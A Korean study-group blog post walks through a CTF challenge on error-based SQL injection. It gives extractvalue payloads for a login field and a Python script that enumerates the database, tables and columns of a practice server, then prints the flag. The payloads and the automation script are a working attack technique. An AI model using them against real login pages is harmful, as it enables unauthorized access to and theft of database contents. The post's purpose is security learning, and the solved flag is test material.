IT 성장기 (교육이수)/CTF 문제풀이
[모의해킹 CTF] Error Based SQLi4
eezy
2024. 6. 3. 23:58
모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성.
Error Based SQLi4
목차
SQL Injection Point 찾기
AND, SELECT 문 사용 가능 확인 : 로그인 성공
normaltic' and (select 'test'='test') and '1'='1
Extractvalue 문 사용 가능 확인 : Error 발생 성공
normaltic' and extractvalue('1', concat(0x3a, (select 'normaltic'))) and '1'='1
Data 추출 코드
1. 데이터베이스 명 추출
'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select database() limit 1 offset 0))) and '1'='1"
2. Table 명 추출
'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2_1' limit 1 offset 0))) and '1'='1"
3. Column 명 추출
'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 1 offset 0))) and '1'='1",
4. Data 추출
'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select flag{offset+1} from flag_table limit 1 offset 0))) and '1'='1"
#{offset} = 0 ~ 8 숫자를 의미한다. 컬럼 이름은 flag1, flag2, flag3...
Python 코드
find_database 함수에서 UserId 는 Column 이름을 찾는 것으로 작성 되어 있다.
Table 이름을 찾는다면, UserId의 입력값을 변경해주면 된다.
import requests
import re
print("[*] Sql Injection4 ")
url = 'http://ctf.segfaulthub.com:7777/sqli_2_1/login.php'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36',
}
#database 안의 table, column 찾는 쿼리
def find_database(url, headers, session):
offset = 0
for offset in range (9): # offset 값을 0부터 시작하여 증가시키며 반복
data = {
'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 1 offset {offset}))) and '1'='1",
'Password': '1234',
'Submit': 'Login'
}
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200:
match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
if match:
print(f"Offset {offset}: {match.group(0)}")
else:
match = re.search (r'User Name :.*', response.text)
if match:
print(match.group(0))
else:
print("Required text not found in the response.")
else:
print(f"Failed to get response: {response.status_code}")
break
#테이블 안에서 여러 컬럼의 값을 리턴하는 쿼리
def find_flag_in_flagtable(url, headers, session):
matches = [] # 모든 match.group(0) 값을 저장할 리스트
offset = 0
for offset in range (9): # offset 값을 0부터 시작하여 증가시키며 반복
data = {
'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select flag{offset+1} from flag_table limit 1 offset 0))) and '1'='1",
'Password': '1234',
'Submit': 'Login'
}
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200:
match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
if match:
print(f"Offset {offset}: {match.group(0)}")
parts = match.group(0).split("Could not update data: XPATH syntax error: ':")
if len(parts) > 1: # 길이를 지정해줌으로 parts에 데이터가 없는 경우, 오류가 발생하는것을 방지하는 목적이다.
matches.append(parts[1].rstrip("'")) # ':' 뒤의 내용만 리스트에 추가
offset += 1 # offset 값을 증가시킴
else:
match = re.search (r'User Name :.*', response.text)
if match:
print(match.group(0))
else:
print("Required text not found in the response.")
else:
print(f"Failed to get response: {response.status_code}")
break
# 모든 match.group(0) 값을 한 줄로 출력
print("".join(matches))
session = requests.Session()
result = find_database(url, headers, session)
result = find_flag_in_flagtable(url, headers, session)
print(result)
파이썬 코드 실행 값
더보기
[*] Sql Injection4
Offset 0: Could not update data: XPATH syntax error: ':flag1'
Offset 1: Could not update data: XPATH syntax error: ':flag2'
Offset 2: Could not update data: XPATH syntax error: ':flag3'
Offset 3: Could not update data: XPATH syntax error: ':flag4'
Offset 4: Could not update data: XPATH syntax error: ':flag5'
Offset 5: Could not update data: XPATH syntax error: ':flag6'
Offset 6: Could not update data: XPATH syntax error: ':flag7'
Offset 7: Could not update data: XPATH syntax error: ':flag8'
Required text not found in the response.
Offset 0: Could not update data: XPATH syntax error: ':segfault{1'
Offset 1: Could not update data: XPATH syntax error: ':you_'
Offset 2: Could not update data: XPATH syntax error: ':must_'
Offset 3: Could not update data: XPATH syntax error: ':concat_'
Offset 4: Could not update data: XPATH syntax error: ':this_'
Offset 5: Could not update data: XPATH syntax error: ':string_'
Offset 6: Could not update data: XPATH syntax error: ':good'
Offset 7: Could not update data: XPATH syntax error: ':job}'
Offset 8: Could not update data: Unknown column 'flag9' in 'field list'
segfault{1you_must_concat_this_string_goodjob}
None